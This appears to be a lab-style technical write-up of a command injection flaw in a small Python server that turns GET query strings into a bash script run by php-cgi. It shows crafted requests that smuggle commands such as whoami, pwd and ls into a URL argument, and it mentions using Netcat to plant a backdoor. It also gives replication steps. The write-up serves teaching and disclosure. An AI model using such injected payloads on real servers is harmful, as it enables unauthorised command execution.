Vulnerability Technical Writeup

Vulnerability Information

Vulnerability: Command Injection Vulnerability

Description: Command injection (also known as shell injection) is a web application vulnerability that allows an attacker to execute arbitrary operating system commands on the server that is running the application. Command injection is considered to be one of the most dangerous web application vulnerabilities as it gives control of the underlying operating system to the attacker, where the attacker can fully compromise the application and all its data.

Application Information

The web server application is set up to read a request input file on the client. An example of a GET request file can be found in Figure 3.1. More information on how the application can be run along with a command injection vulnerability example can be found within the application's README.md file as shown in Figure 2.1.

Vulnerability Example Execution

```
# Start the server
$ python3 server.py localhost 8080

# Start the client
$ python3 client.py localhost 8080 get_php.txt
```

Vulnerability Demonstration

The first step is to inject a command into one of the url arguments. In the example below, the command whoami is injected after the second argument. Note that the full command injected is ";whoami" including the quotes and preceding semicolon.

```
GET /getdemo.php?example1=Hello&example2=World";whoami" HTTP/1.1
Host: localhost
Accept: */*
```

Figure 2.1

Vulnerability Demonstration

The first step is to inject a command into one of the url arguments. In the example below, the command *whoami* is injected after the second argument. Note that the full command injected is *";whoami"* including the quotes and preceding semicolon. The semicolon and quotes provide a way of escaping the current command to input another, which will be discussed further later on.

```
GET /getdemo.php?example1=Hello&example2=World";whoami" HTTP/1.1
Host: localhost
Accept: */*
```

Figure 3.1

Other commands can be chained together with a semicolon as shown in Figure 3.2. Additionally, more advanced commands such as creating a Netcat listener can be injected to create a backdoor or execute further commands on the server.

```
GET /getdemo.php?example1=Hello&example2=World";whoami;pwd;ls" HTTP/1.1
Host: localhost
Accept: */*
```

Figure 3.2

The server will read the url and split the string based on the delimiter, which is a question mark. Since the server does not sanitize the input, this is where the application becomes vulnerable to command injection.

Next, the server fills in the get request template with the arguments passed from the request input file to create a shell script. As shown below, you can see the injected *whoami* command. Once again, take note of the role of the semicolon and the quotes, which provide a way of escaping the query string to input a command.

```
#!/bin/bash

export GATEWAY_INTERFACE="CGI/1.1"
export SCRIPT_FILENAME="getdemo.php"
export REQUEST_METHOD="GET"
export SERVER_PROTOCOL="HTTP/1.1"
export QUERY_STRING="example1=Hello&example2=World";whoami""

exec echo | php-cgi
```

Figure 3.3

After creating the shell script, the server will create a subprocess to run the shell script depending on the operating system being run. The screenshot below shows the intended php script output in addition to the injected *whoami* command.

```
Response: 200 OK
savan
X-Powered-By: PHP/8.2.4
Content-type: text/html; charset=UTF-8

Hello World
```

Figure 3.4

Vulnerability Replication Steps

1. The first step is to inject a command into one of the url arguments in the request input file like demonstrated in Figure 3.1.
2. Start the server with an ip address and port to listen on.
    a. $ python3 server.py <ip_address> <port>
3. Start the client with an ip address and port to connect to as well as the request input filename that contains the injected command from step #1.
    a. $ python3 client.py <ip_address> <port> <input_filename>
4. On the client, you should see the output of the request run by the php-cgi interpreter.